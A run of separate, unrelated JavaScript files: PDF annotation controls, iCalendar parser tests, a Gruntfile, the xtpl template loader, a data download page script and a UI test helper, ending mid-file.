readerControl.fireEvent('defaultToolValueChanged', [exports.ControlUtils.getSelectedAnnotation(), me.annotationProperty, me.annotationPropertyModifier(val)]); }); }); }; exports.ControlUtils.PropertyManager.prototype = { setDisplayUnit: function(unit) { this.displayUnit = unit; }, setAnnotationPropertyModifier: function(modifierFunction) { this.annotationPropertyModifier = modifierFunction; }, update: function(value, updateAnnot) { updateAnnot = _.isUndefined(updateAnnot) ? true : updateAnnot; var selectedButton = this.$radioContainer.find('[data-value="' + value + '"]'); if (selectedButton.length > 0) { selectedButton.prop('checked', true); } else { // deselect all radio buttons if the value isn't found this.$radioContainer.find('[data-value]').prop('checked', false); } this.$radioContainer.find('.propertyValue').text(Math.round(value) + this.displayUnit); if (updateAnnot) { var annot = exports.ControlUtils.getSelectedAnnotation(); if (annot) { annot[this.annotationProperty] = this.annotationPropertyModifier(value); var am = readerControl.docViewer.getAnnotationManager(); am.trigger('annotationChanged', [[annot], 'modify']); am.updateAnnotation(annot); exports.ControlUtils.updateAnnotPreview(annot); } } } }; var annotPreview; exports.ControlUtils.setPreviewCanvas = function(canvas, width, height) { annotPreview = new AnnotPreview(canvas, width, height); }; exports.ControlUtils.updateAnnotPreview = function(annot) { annotPreview.update(annot); }; var AnnotPreview = function(canvas, width, height) { this.canvas = canvas; this.ctx = this.canvas.getContext('2d'); this.width = width; this.height = height; }; AnnotPreview.prototype = { drawRectangle: function(strokeThickness, textColor) { var lineWidth = this.ctx.lineWidth; this.ctx.save(); this.ctx.beginPath(); this.ctx.moveTo(lineWidth, lineWidth); this.ctx.lineTo(this.width - lineWidth, lineWidth); this.ctx.lineTo(this.width - lineWidth, this.height - lineWidth); this.ctx.lineTo(lineWidth, this.height - lineWidth); this.ctx.closePath(); this.ctx.clip(); this.ctx.moveTo(0, 0); this.ctx.fillRect(0, 0, this.width, this.height); if (textColor) { this.ctx.fillStyle = textColor.toString(); this.ctx.textAlign = 'center'; this.ctx.textBaseline = 'middle'; this.ctx.fillText('Aa', this.width / 2, this.height / 2); } this.ctx.restore(); if (strokeThickness > 0) { this.ctx.lineWidth *= 2; this.ctx.strokeRect(0, 0, this.width, this.height); } }, drawCircle: function() { var centerX = 0.5 * this.width; var centerY = 0.5 * this.height; var radius = 0.5 * this.width; var lineWidth = this.ctx.lineWidth; this.ctx.beginPath(); this.ctx.arc(centerX, centerY, radius - lineWidth, 0, 2 * Math.PI); this.ctx.fill(); this.ctx.beginPath(); this.ctx.arc(centerX, centerY, radius - (lineWidth / 2), 0, 2 * Math.PI); this.ctx.stroke(); }, drawHorizontalLine: function() { this.ctx.beginPath(); this.ctx.moveTo(0, this.height / 2); this.ctx.lineTo(this.width, this.height / 2); this.ctx.stroke(); }, drawDiagonalLine: function() { var offset = 10; this.ctx.beginPath(); this.ctx.moveTo(offset, this.height - offset); this.ctx.lineTo(this.width - offset, offset); this.ctx.stroke(); }, drawCurvedLine: function() { this.ctx.lineCap = 'round'; this.ctx.beginPath(); this.ctx.moveTo((1/8) * this.width, 0.5 * this.height); this.ctx.bezierCurveTo((5/16) * this.width, (3/8) * this.height, (5/16) * this.width, (3/8) * this.height, 0.5 * this.width, 0.5 * this.height); this.ctx.bezierCurveTo((11/16) * this.width, (5/8) * this.height, (11/16) * this.width, (5/8) * this.height, (7/8) * this.width, 0.5 * this.height); this.ctx.stroke(); }, drawStickyNote: function(annot) { var maxScale = Math.max(annot.Width / this.width, annot.Height / this.height); var scaleFactor = 0.75 / maxScale; this.ctx.translate(this.width * 0.125, this.height * 0.125); this.ctx.scale(scaleFactor, scaleFactor); annot.draw(this.ctx); }, update: function(annot) { var strokeThickness = annot.StrokeThickness; var color = annot.StrokeColor; var fillColor = annot.FillColor; var opacity = annot.Opacity; var textColor = annot.TextColor; var fontSize = annot.FontSize; this.ctx.save(); this.ctx.clearRect(0, 0, this.width, this.height); if (strokeThickness) { this.ctx.lineWidth = strokeThickness; } if (color) { this.ctx.strokeStyle = color.toString(); } if (fillColor) { this.ctx.fillStyle = fillColor.toString(); } if (!_.isUndefined(opacity)) { this.ctx.globalAlpha = opacity; } if (!_.isUndefined(fontSize)) { this.ctx.font = fontSize + ' Arial'; } if ((annot instanceof Annotations.TextMarkupAnnotation && !(annot instanceof Annotations.TextHighlightAnnotation)) || annot instanceof Annotations.PolylineAnnotation) { this.drawHorizontalLine(); } else if (annot instanceof Annotations.LineAnnotation) { this.drawDiagonalLine(); } else if (annot instanceof Annotations.FreeHandAnnotation) { this.drawCurvedLine(); } else if (annot instanceof Annotations.StickyAnnotation) { this.drawStickyNote(annot); } else if (annot instanceof Annotations.RectangleAnnotation || annot instanceof Annotations.FreeTextAnnotation || annot instanceof Annotations.PolygonAnnotation) { this.drawRectangle(strokeThickness, textColor); } else if (annot instanceof Annotations.EllipseAnnotation) { this.drawCircle(); } else { if (fillColor) { this.drawRectangle(strokeThickness, textColor); } else { this.drawHorizontalLine(); } } this.ctx.restore(); } }; }(window));
// Test search var assert = require('assert'); var fs = require('fs'); var parse_calendar = require('../lib/parser').parse_calendar; describe("iCalendar.parse", function() { it('parses data correctly', function() { var cal = parse_calendar( 'BEGIN:VCALENDAR\r\n'+ 'PRODID:-//Bobs Software Emporium//NONSGML Bobs Calendar//EN\r\n'+ 'VERSION:2.0\r\n'+ 'BEGIN:VEVENT\r\n'+ 'DTSTAMP:20111202T165900\r\n'+ 'UID:testuid@someotherplace.com\r\n'+ 'DESCRIPTION:This bit of text is long and should be sp\r\n'+ ' lit across multiple lines of output\r\n'+ 'END:VEVENT\r\n'+ 'END:VCALENDAR\r\n'); assert.equal('-//Bobs Software Emporium//NONSGML Bobs Calendar//EN', cal.getPropertyValue('PRODID')); assert.equal('2.0', cal.getPropertyValue('VERSION')); assert.equal(1, cal.components['VEVENT'].length); var vevent = cal.components['VEVENT'][0]; assert.equal('This bit of text is long and should be '+ 'split across multiple lines of output', vevent.getPropertyValue('DESCRIPTION')); assert.equal(new Date(2011, 11, 2, 16, 59).valueOf(), vevent.getPropertyValue('DTSTAMP').valueOf()); }); it("parses data without trailing newline", function() { var cal = parse_calendar( 'BEGIN:VCALENDAR\r\n'+ 'PRODID:-//Bobs Software Emporium//NONSGML Bobs Calendar//EN\r\n'+ 'VERSION:2.0\r\n'+ 'END:VCALENDAR'); assert.equal('-//Bobs Software Emporium//NONSGML Bobs Calendar//EN', cal.getPropertyValue('PRODID')); }); it("decodes escaped chars as per RFC", function() { var cal = parse_calendar( 'BEGIN:VCALENDAR\r\n'+ 'PRODID:-//Microsoft Corporation//Outlook 14.0 MIMEDIR//EN\r\n'+ 'VERSION:2.0\r\n'+ 'BEGIN:VEVENT\r\n'+ 'DESCRIPTION:Once upon a time\\; someone used a comma\\,\\nand a newline!\r\n'+ 'DTEND:20120427T170000Z\r\n'+ 'DTSTART:20120427T150000Z\r\n'+ 'UID:testuid@someotherplace.com\r\n'+ 'END:VEVENT\r\n'+ 'END:VCALENDAR\r\n'); var vevent = cal.components['VEVENT'][0]; assert.equal('Once upon a time; someone used a comma,\nand a newline!', vevent.getPropertyValue('DESCRIPTION')); }); it("handles data using tabs for line continuations (Outlook)", function() { var cal = parse_calendar( 'BEGIN:VCALENDAR\r\n'+ 'PRODID:-//Microsoft Corporation//Outlook 14.0 MIMEDIR//EN\r\n'+ 'VERSION:2.0\r\n'+ 'BEGIN:VEVENT\r\n'+ 'CLASS:PUBLIC\r\n'+ 'DESCRIPTION:Come print for free! We will have more ally prints\\, and all th\r\n'+ ' e great colors you’ve come to expect from Open. \\n\\nFood! \\n\\nMusic! \\n\\\r\n'+ ' nSun!\\n\r\n'+ 'DTEND:20120427T170000Z\r\n'+ 'DTSTART:20120427T150000Z\r\n'+ 'UID:040000008200E00074C5B7101A82E00800000000C0132EF80F0ECD01000000000000000\r\n'+ ' 0100000008B70F4BD4D344E418B5834B8D78C50A3\r\n'+ 'END:VEVENT\r\n'+ 'END:VCALENDAR\r\n'); var vevent = cal.components['VEVENT'][0]; assert.equal('Come print for free! We will have more ally prints, and all '+ 'the great colors you’ve come to expect from Open. \n\nFood! \n\nMusic! \n\nSun!\n', vevent.getPropertyValue('DESCRIPTION')); assert.equal('040000008200E00074C5B7101A82E00800000000C0132EF80F0ECD0100000000000'+ '00000100000008B70F4BD4D344E418B5834B8D78C50A3', vevent.getPropertyValue('UID')); }); it('parses large collections', function() { var cal = parse_calendar( fs.readFileSync(__dirname+'/icalendar-test.ics', 'utf8')); assert.equal('-//Google Inc//Google Calendar 70.9054//EN', cal.getPropertyValue('PRODID')); assert.equal('Gilsum NH Calendar', cal.getPropertyValue('X-WR-CALNAME')); assert.equal(153, cal.events().length); var vevent = cal.events()[0]; assert.equal('01meijjkccslk5acp8rngq30es@google.com', vevent.getPropertyValue('UID')); vevent = cal.events()[1]; assert.equal('jmdoebbto9vubpjf32aokpojb4@google.com', vevent.getPropertyValue('UID')); assert.equal('America/New_York', vevent.getProperty('DTSTART').getParameter('TZID')); assert.equal('2011-09-26T19:00:00.000Z', vevent.getPropertyValue('DTSTART').toISOString()); }); it('parses data from evolution', function() { // Evolution doesn't seem to provide very consistent line endings var cal = parse_calendar( fs.readFileSync(__dirname+'/evolution.ics', 'utf8')); }); it('parsing', function() { var cal = parse_calendar( 'BEGIN:VCALENDAR\r\n'+ 'PRODID:-//Bobs Software Emporium//NONSGML Bobs Calendar//EN\r\n'+ 'VERSION:2.0\r\n'+ 'BEGIN:VEVENT\r\n'+ 'DTSTAMP:20111202T165900\r\n'+ 'UID:testuid@someotherplace.com\r\n'+ 'DESCRIPTION:This bit of text is long and should be sp\r\n'+ ' lit across multiple lines of output\r\n'+ 'END:VEVENT\r\n'+ 'END:VCALENDAR\r\n'); assert.equal('-//Bobs Software Emporium//NONSGML Bobs Calendar//EN', cal.getPropertyValue('PRODID')); assert.equal('2.0', cal.getPropertyValue('VERSION')); assert.equal(1, cal.components['VEVENT'].length); var vevent = cal.components['VEVENT'][0]; assert.equal('This bit of text is long and should be '+ 'split across multiple lines of output', vevent.getPropertyValue('DESCRIPTION')); assert.equal(new Date(2011, 11, 2, 16, 59).valueOf(), vevent.getPropertyValue('DTSTAMP').valueOf()); }); it('parse torture test', function() { var cal = parse_calendar( fs.readFileSync(__dirname+'/icalendar-test.ics', 'utf8')); assert.equal('-//Google Inc//Google Calendar 70.9054//EN', cal.getPropertyValue('PRODID')); assert.equal('Gilsum NH Calendar', cal.getPropertyValue('X-WR-CALNAME')); assert.equal(153, cal.events().length); var vevent = cal.events()[0]; assert.equal('01meijjkccslk5acp8rngq30es@google.com', vevent.getPropertyValue('UID')); vevent = cal.events()[1]; assert.equal('jmdoebbto9vubpjf32aokpojb4@google.com', vevent.getPropertyValue('UID')); assert.equal('America/New_York', vevent.getProperty('DTSTART').getParameter('TZID')); assert.equal('2011-09-26T19:00:00.000Z', vevent.getPropertyValue('DTSTART').toISOString()); }); it('uses timezone data parameter when parsing', function() { var cal = parse_calendar( 'BEGIN:VCALENDAR\r\n'+ 'PRODID:-//Google Inc//Google Calendar 70.9054//EN\r\n'+ 'VERSION:2.0\r\n'+ 'BEGIN:VEVENT\r\n'+ 'DTSTART;TZID=America/New_York:20110926T150000\r\n'+ 'DTEND;TZID=America/New_York:20110926T160000\r\n'+ 'DTSTAMP:20111206T175451Z\r\n'+ 'UID:jmdoebbto9vubpjf32aokpojb4@google.com\r\n'+ 'CREATED:20110913T133341Z\r\n'+ 'LAST-MODIFIED:20110913T133341Z\r\n'+ 'SUMMARY:Girl Scout Cadettes\r\n'+ 'END:VEVENT\r\n'+ 'END:VCALENDAR\r\n', 'BEGIN:VCALENDAR\r\n'+ 'PRODID:-//Google Inc//Google Calendar 70.9054//EN\r\n'+ 'VERSION:2.0\r\n'+ 'BEGIN:VTIMEZONE\r\n'+ 'TZID:America/New_York\r\n'+ 'X-LIC-LOCATION:America/New_York\r\n'+ 'BEGIN:DAYLIGHT\r\n'+ 'TZOFFSETFROM:-0500\r\n'+ 'TZOFFSETTO:-0400\r\n'+ 'TZNAME:EDT\r\n'+ 'DTSTART:19700308T020000\r\n'+ 'RRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=2SU\r\n'+ 'END:DAYLIGHT\r\n'+ 'BEGIN:STANDARD\r\n'+ 'TZOFFSETFROM:-0400\r\n'+ 'TZOFFSETTO:-0500\r\n'+ 'TZNAME:EST\r\n'+ 'DTSTART:19701101T020000\r\n'+ 'RRULE:FREQ=YEARLY;BYMONTH=11;BYDAY=1SU\r\n'+ 'END:STANDARD\r\n'+ 'END:VTIMEZONE\r\n'+ 'END:VCALENDAR\r\n' ); var vevent = cal.getComponents('VEVENT')[0]; expect(vevent.getPropertyValue('DTSTART')) .toEqual(new Date(Date.UTC(2011,8,26,19,0,0))); expect(vevent.getPropertyValue('DTEND')) .toEqual(new Date(Date.UTC(2011,8,26,20,0,0))); }); it('parses EXDATE properties', function() { var cal = parse_calendar( 'BEGIN:VCALENDAR\r\n'+ 'PRODID:-//Bobs Software Emporium//NONSGML Bobs Calendar//EN\r\n'+ 'VERSION:2.0\r\n'+ 'BEGIN:VEVENT\r\n'+ 'DTSTAMP:20111202T165900\r\n'+ 'UID:testuid@someotherplace.com\r\n'+ 'EXDATE:20120102T100000,20120203T100000\r\n'+ 'EXDATE;VALUE=DATE:20120304\r\n'+ 'END:VEVENT\r\n'+ 'END:VCALENDAR\r\n'); var vevent = cal.getComponents('VEVENT')[0]; expect(vevent.getPropertyValue('EXDATE')) .toEqual([new Date(2012,0,2, 10,0,0), new Date(2012,1,3, 10,0,0)]); expect(vevent.getPropertyValue('EXDATE',1)) .toEqual([new Date(2012,2,4)]); expect(vevent.getPropertyValue('EXDATE',1)[0].date_only).toBeTruthy(); }); it('parses quoted property parameter values', function() { var cal = parse_calendar( 'BEGIN:VCALENDAR\r\n'+ 'PRODID:-//Bobs Software Emporium//NONSGML Bobs Calendar//EN\r\n'+ 'VERSION:2.0\r\n'+ 'BEGIN:VEVENT\r\n'+ 'DTSTAMP:20111202T165900\r\n'+ 'X-TEST;TESTPARAM="Something;:, here":testvalue\r\n'+ 'UID:testuid@someotherplace.com\r\n'+ 'END:VEVENT\r\n'+ 'END:VCALENDAR\r\n'); var vevent = cal.getComponents('VEVENT')[0]; assert.equal('Something;:, here', vevent.getProperty('X-TEST').getParameter('TESTPARAM')); }); it('parses DateTime Trigger correctly', function () { var cal = parse_calendar( 'BEGIN:VCALENDAR\r\n'+ 'PRODID:-//Bobs Software Emporium//NONSGML Bobs Calendar//EN\r\n'+ 'VERSION:2.0\r\n'+ 'BEGIN:VEVENT\r\n'+ 'DTSTAMP:20111202T165900\r\n'+ 'TRIGGER;VALUE=DATE-TIME:20111109T173216\r\n'+ 'UID:testuid@someotherplace.com\r\n'+ 'END:VEVENT\r\n'+ 'END:VCALENDAR\r\n'); var vevent = cal.getComponents('VEVENT')[0]; expect(new Date(2011,10,9,17,32,16)).toEqual(vevent.getPropertyValue('TRIGGER')); }); it('parses VALARMS correctly', function () { var cal = parse_calendar(fs.readFileSync(__dirname + '/valarm-spec.ics', 'utf8')); var event = cal.getComponents('VEVENT')[0]; var alarm = event.getComponents('VALARM')[0]; expect(alarm.getPropertyValue('ACTION')) .toBe('AUDIO'); expect(alarm.getPropertyValue('REPEAT')) .toBe('4'); expect(alarm.getPropertyValue('DURATION')) .toBe(900); expect(alarm.getPropertyValue('ATTACH')) .toBe('ftp://example.com/pub/sounds/bell-01.aud'); expect(alarm.getProperty('ATTACH').getParameter('FMTTYPE')).toBe('audio/basic'); expect(alarm.getPropertyValue('TRIGGER').getTime()) .toBe(858605400000); }); });
var notes = { note0: { id: "note0", title: "Scrambling sequences", tags: ['sequences'], reference: "22 jun 2015 LP5E (Learning Python 5th ed.) p. 609", body: "<br>Move the front item to the end on each loop iteration<br><br>S = 'spam'<br>for i in range(len(S)):<br> S = S[1:] + S[:1]<br> print(S, end=' ')<br><br># pams amsp mspa spam<br><br>// JS<br><br>var s = 'spam';<br>for (var i = 0; i &lt; s.length; i++) {<br> s = s.slice(1) + s.slice(0, 1);<br> console.log(s);<br>}<br>" }, note1: { id: "note1", title: "Deeply nested function", tags: ['functions'], reference: "22 jun 2015", body: "<br>def f(x):<br> if x:<br> y<br> else:<br> z<br><br>// JS<br><br>function f(x) {<br> if (x) {<br> y;<br> } else {<br> z;<br> }<br>}<br>" }, numNotes: 2 };
if (window.string) window.string += ', and the second too' else window.string = 'first file failed to load'
function defaultToIndex(){ Util.makeItReady; } function aboutFunction(event){ $('.aboutMe').show; $('article').hide; $('.aboutMe').load('/aboutMe.html'); } articlesController = {}; articlesController.category = function (ctx, next) { var categoryData = function(data){ ctx.articles = data; next(); }; }; articlesController.author = function (ctx, next) { var authorData = function(data){ ctx. articles = data; next(); }; }; articlesController.show = function(ctx, next){ //show the loaded info };
'use strict'; /** * @module code-project/handler/choose-repository */ const Octokat = require('octokat'); /** * Lists Github repositories that instructor could use as a seed for the project * @param {Request} request - Hapi request * @param {Reply} reply - Hapi Reply * @returns {Null} responds with HTML page */ function chooseRepository (request, reply) { const Github = new Octokat({token: request.auth.credentials.token}); Github .me .repos .fetchAll() .then((repos) => { reply.view('modules/code-project/view/choose-repository', {repos}); }); } module.exports = chooseRepository;
define(function (require) { var Reflux = require('reflux'); var DemoActions = require('app/actions/demo.actions'); return Reflux.createStore({ listenables: [DemoActions], items : [], onAddItem: function (obj) { this.items.push(obj); this.update(); }, onRemoveItem: function (index) { this.items.splice(index, 1); this.update(); }, update : function(){ this.trigger(this.items); }, }); });
'use strict'; var test = require('tap').test; var kagawa = require('../index.js'); test('property configuration is accepted for an array of primitives', function(t) { t.plan(1); var schema = { list: { each: { type: 'email' } } }; var obj = { list: ['one', 'two', 'three'] }; var errors = kagawa.run(obj, schema); t.ok(errors.length === 2 && errors[0].property === 'list.0' && errors[1].property === 'list.1'); }); test('schema can be passed for an array of objects', function(t) { t.plan(1); var schema = { list: { each: { properties: { foo: { type: 'email' } } } } }; var obj = { list: [ {foo: 'one'}, {foo: 'two'} ] }; var errors = kagawa.run(obj, schema); t.ok(errors.length === 2 && errors[0].property === 'list.0.foo' && errors[1].property === 'list.1.foo'); });
module.exports = function(grunt) { // Project configuration. grunt.initConfig({ pkg: grunt.file.readJSON('package.json'), locations: { src: { scriptsDir: 'source/js' }, dist: { scriptsDir: 'build/js' }, tests: { scriptsDir: 'tests' } }, concat: { options: { banner: '/*! <%= pkg.title || pkg.name %> - v<%= pkg.version %> - ' + '<%= grunt.template.today("yyyy-mm-dd") %>\n' + '<%= pkg.homepage ? "* " + pkg.homepage + "\\n" : "" %>' + ' * Copyright (c) <%= grunt.template.today("yyyy") %> <%= pkg.author.name %>; \n' + ' */\n;(function(){ \n', footer: '\n})();' }, dist: { src: [ '<%= locations.src.scriptsDir %>/qobj.js', '<%= locations.src.scriptsDir %>/query.js' ], dest: '<%= locations.dist.scriptsDir %>/<%= pkg.name %>.js' } }, connect: { server: { options: { port: 8000, base: './', livereload: true } } }, open: { all: { path: 'http://localhost:<%= connect.server.options.port %>' } }, uglify: { options: { banner: '/*! <%= pkg.name %> - v<%= pkg.version %> - <%= grunt.template.today("yyyy-mm-dd") %> */\n' }, build: { src: '<%= locations.dist.scriptsDir %>/<%= pkg.name %>.js', dest: '<%= locations.dist.scriptsDir %>/<%= pkg.name %>.min.js' } }, jasmine: { units: { src: '<%= locations.dist.scriptsDir %>/<%= pkg.name %>.js', options: { specs: '<%= locations.tests.scriptsDir %>/**/*.js' } } }, jshint: { options: { curly: true, eqeqeq: true, immed: true, latedef: true, newcap: true, noarg: true, sub: true, undef: true, unused: true, boss: true, eqnull: true, browser: true, globals: { console: true, QOBJ: true } }, lib_test: { src: ['<%= locations.src.scriptsDir %>/*.js', 'test/**/*.js'] } }, watch: { concat: { files: ['<%= jshint.lib_test.src %>'], tasks: ['concat:dist'] }, jasmine: { files: ['<%= locations.dist.scriptsDir %>/<%= pkg.name %>.js'], options : { specs : '<%= locations.tests.scriptsDir %>/**/*.js', src: '<%= locations.dist.scriptsDir %>/<%= pkg.name %>.js' }, tasks: ['jasmine'] }, lib_test: { files: '<%= jshint.lib_test.src %>', tasks: ['jshint:lib_test'] } } }); // Load the plugins. require('matchdep').filterDev('grunt-*').forEach(grunt.loadNpmTasks); // Default task(s). grunt.registerTask('default', ['jshint', 'concat', 'jasmine', 'watch']); grunt.registerTask('server', ['open', 'connect', 'watch']); grunt.registerTask('build', ['concat', 'uglify']); };
/** * @ignore * load tpl from file in nodejs * @author yiminghe@gmail.com */ var fs = require('fs'); var Path = require('path'); var iconv, XTemplate; var env = process.env.NODE_ENV || 'development'; try { iconv = require('iconv-lite'); } catch (e) { } try { XTemplate = require('xtemplate'); XTemplate = XTemplate.default || XTemplate; } catch (e) { console.error('xtpl depends on xtemplate, please install xtemplate xtpl both'); } var globalConfig = { cache: env === 'production', catchError: env !== 'production', encoding: 'utf-8', XTemplate: XTemplate }; var fileCache = {}; var instanceCache = {}; var fnCache = {}; function normalizeSlash(path) { if (path.indexOf('\\') !== -1) { path = path.replace(/\\/g, '/'); } return path; } function compile(root, tpl, path, callback) { var fn; try { fn = root.compile(tpl, path); } catch (e) { return callback(e); } callback(null, fn); } function getTplFn(root, path, config, callback) { var cache = config.cache; if (cache && fnCache[path]) { return callback(0, fnCache[path]); } readFile(path, config, function (error, tpl) { if (error) { callback(error); } else { compile(root, tpl, path, function (err, fn) { if (err) { callback(err); } else { if (cache) { fnCache[path] = fn; } callback(null, fn); } }); } }); } function getInstance(config) { var cache = config.cache; var path = config.name; var cached; if (cache && (cached = instanceCache[path])) { return cached; } var instance = new globalConfig.XTemplate(config); if (cache) { instanceCache[path] = instance; } return instance; } function readFileSync(path) { var content, error; try { content = fs.readFileSync(path); } catch (e) { error = e; } return { content: content, error: error }; } function readFile(path, config, callback) { var cache = config.cache; var cached; if (cache && (cached = fileCache[path])) { return callback(null, cached); } var encoding = config.encoding; var content, error; var ret = readFileSync(path); content = ret.content; error = ret.error; if (content) { if (Buffer.isEncoding(encoding)) { content = content.toString(encoding); } else if (iconv) { content = iconv.decode(content, encoding); } else { error = 'encoding: ' + encoding + ', npm install iconv-lite, please!'; } if (!error && cache) { fileCache[path] = content; } } callback(error, content); } function endsWith(str, suffix) { var ind = str.length - suffix.length; return ind >= 0 && str.indexOf(suffix, ind) === ind; } var loader = { load: function (tpl, callback) { var template = tpl.root; var path = tpl.name; var rootConfig = template.config; var extname = rootConfig.extname; var pathExtName; if (endsWith(path, extname)) { pathExtName = extname; } else { pathExtName = Path.extname(path); if (!pathExtName) { pathExtName = extname; path += pathExtName; } } if (pathExtName !== extname) { readFile(path, rootConfig, callback); } else { getTplFn(template, path, rootConfig, callback); } } }; function renderFile(path, options, callback) { if (typeof options === 'function') { callback = options; options = {}; } render(path, options, { cache: options.cache, commands: options.commands, encoding: options.settings && options.settings['view encoding'] }, callback); } function getOption(options, name) { return options[name] === undefined ? globalConfig[name] : options[name]; } function render(path, data, options, callback) { options = options || {}; var extname; if (options.extname) { extname = options.extname.charAt(0) === '.' ? options.extname : '.' + options.extname; } else { extname = Path.extname(path); } path = normalizeSlash(path); var engine = getInstance({ name: path, extname: extname, loader: loader, strict: getOption(options, 'strict'), catchError: getOption(options, 'catchError'), cache: getOption(options, 'cache'), encoding: getOption(options, 'encoding') }); // runtime commands engine.render(data, { commands: options.commands }, function (e, content) { if (e) { callback(e); return; } callback(e, content); }); } function mix(r, s) { for (var p in s) { r[p] = s[p]; } return r; } /** * load xtemplate from file on nodejs * @singleton */ module.exports = { config: function (options) { if (!options) { return globalConfig; } else { mix(globalConfig, options); } }, __express: renderFile, render: render, renderFile: renderFile, getCaches: function () { return { instance: instanceCache, file: fileCache, fn: fnCache }; }, getCache: function (path) { return { instance: instanceCache[path], file: fileCache[path], fn: fnCache[path] }; }, clearCache: function (path) { delete instanceCache[path]; delete fileCache[path]; delete fnCache[path]; } }; Object.defineProperties(module.exports, { XTemplate: { get: function () { return globalConfig.XTemplate; } } });
var data = {} var count = 0; $('#message').hide(); data.downloadLink = function() { dataSelection = [] dataSelection.push($('#datasets').val()); dataSelection.push($('select[name=year]').val()); dataSelection.push($('#monthly-detail select').val()); $('#dimensions select').each(function() { dataSelection.push(this.value); }); dataSelection = dataSelection.filter(function(n){ return n != "" && n !== null && n != "all" }); return dataviva.s3_host + "/data-download/" + lang + "/" + dataSelection.join("-") + '.csv.bz2'; } $(document).ready(function() { $("#download").prop('disabled', true); $("#download").on('click', function() { window.open(data.downloadLink()); }); dataviva.requireAttrs(['datasets'], function() { for (dataset in dataviva.datasets) { $('#datasets').append( $('<option value="'+dataset+'">'+dataviva.dictionary[dataset]+'</option>')); } $('#datasets').on('change', function() { $("#download").prop('disabled', true); $('#datasets #dataset-empty-option').remove(); $('#message').show(); if(this.value == 'secex') { $('#monthly-detail').show(); $('#monthly-detail select').prop('disabled', false); } else { $('#monthly-detail').hide(); $('#detailing').val(''); } $('select[name=year]').empty().prop('disabled', false); dataviva.datasets[this.value].years.forEach(function(year) { $('select[name=year]').append($('<option value="'+year+'">'+year+'</option>')); }); $('#dimensions').empty(); dataviva.datasets[this.value].dimensions.forEach(function(dimension) { if (dimension.depths.length > 0){ var div = $("<div></div>").addClass("form-group col-md-4"), label = $("<label></label>").attr("for", dimension.id).addClass("control-label"), select = $("<select></select>").attr("id", dimension.id).addClass("form-control"); label.html(dataviva.dictionary[dimension.id + '_plural']); $('#dimensions').append(div.append(label).append(select)); select.append($('<option value="all">'+dataviva.dictionary['all']+'</option>')); dimension.depths.forEach(function(depth) { select.append($('<option value="'+depth.value+'">'+dataviva.dictionary[depth.id]+'</option>')); }); } }); $('#dimensions select').on('change', function (e) { if ($(this).val() != "all") { $("#download").prop('disabled', false); } $('#dimensions select').each( function() { if ($(this).val() == "all") count += 1; if (count == $('#dimensions select').length) { $("#download").prop('disabled', true); } }); count = 0; }); }); }); });
// Copyright (c) 2014 RazorFlow Technologies LLP // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. var TestHelper = function () { var self = this; var contextDiv = $("body"); var oldContext = null; var doneFunc = null, continuations = []; var jqFilter = function (val, all) { if(contextDiv == null) { self.showError ("Context is null"); } if(val === ".") { return contextDiv; } if(typeof(val) === "string") { if(!contextDiv) { debugger; } var contextFound = contextDiv.find(val); if(contextFound.length === 0) { self.showError("Cannot find selector " + val + " in context"); } if(contextFound.length > 1) { log("the number of elements found for ", val, "is ", contextFound.length); } return all ? contextDiv.find(val) : $(contextDiv.find(val)[0]); } if(typeof(val) === "object") { if(val.length === 0) { self.showError("Empty jquery object passed"); } if(val.length > 1) { log("the number of elements found for ", val, "is ", contextFound.length); } return val; } if(typeof(val) === "function") { return val(contextDiv); } throw "Unexpected type for jquery filter"; } self.start = function (done) { log("Starting"); doneFunc = done; contextDiv = $("body"); continuations = []; self.wait(400); return self; }; self.setContext = function (context, reset) { if(typeof(reset) == "undefined") { reset = true; } addSyncContinuation(function () { context = funcToValue(context); // First, reset the context div to body if(reset) { contextDiv = $("body"); } contextDiv = jqFilter(context); }); return self; }; self.drillContext = function (context) { return self.setContext(context, false); }; self.assertText = function (selector, expected, options) { options = options ? options : {}; addSyncContinuation(function () { log("Asserting text is " + expected); var item = jqFilter(selector); var found = item.text(); if(options.trim) { found = found.trim(); } compareFoundToExpected(found, expected); }); return self; }; self.assert = function (callback) { addASyncContinuation(function (done) { var onErr = function (message) { self.showError(message); done(); }; callback(contextDiv, done, onErr); }); return self; } self.assertClass = function (selector, expected, options) { options = options ? options : {}; addSyncContinuation(function () { log("Asserting class exists:" + expected); var item = jqFilter(selector); if(!item.hasClass(expected)) { self.showError("Expected "+ selector + " to have class " + expected); } }); return self; }; self.count = function (selector, expectedNum, options) { options = options ? options : {op: '='}; addSyncContinuation(function() { log('Asserting the number of dom elements found by the selector to be ' + expectedNum); var items = jqFilter(selector, true), found = items.length; compareFoundToExpectedWithOp(found, expectedNum, options.op); }); return self; }; self.svgMeasure = function (selector, attribute, expected, options) { options = options ? options : {}; addSyncContinuation(function () { log("Measuring svg"); var item = jqFilter(selector); // Get direct item item = item[0]; if(!item[attribute]) { self.showError("Selector " + selector + " has no property " + attribute) return; } var baseVal = item[attribute].baseVal; var found; if(typeof(baseVal.value) == "number") { found = baseVal.value; } else if (baseVal[0]) { found = baseVal[0].value } else if (item.getAttribute(attribute) !== null) { // for Safari and ie found = +item.getAttribute(attribute); } else { self.showError("Cannot found a baseval"); } compareFoundToExpected(found, expected); }); return self; }; self.svgTriggerEvent = function (selector, eventName) { addSyncContinuation(function () { log("Triggering event"); var item = jqFilter(selector); // Get direct item item = item[0]; var event; // The custom event that will be created if (document.createEvent) { event = document.createEvent("HTMLEvents"); event.initEvent(eventName, true, true); } else { event = document.createEventObject(); event.eventType = eventName; } event.eventName = eventName; if (document.createEvent) { 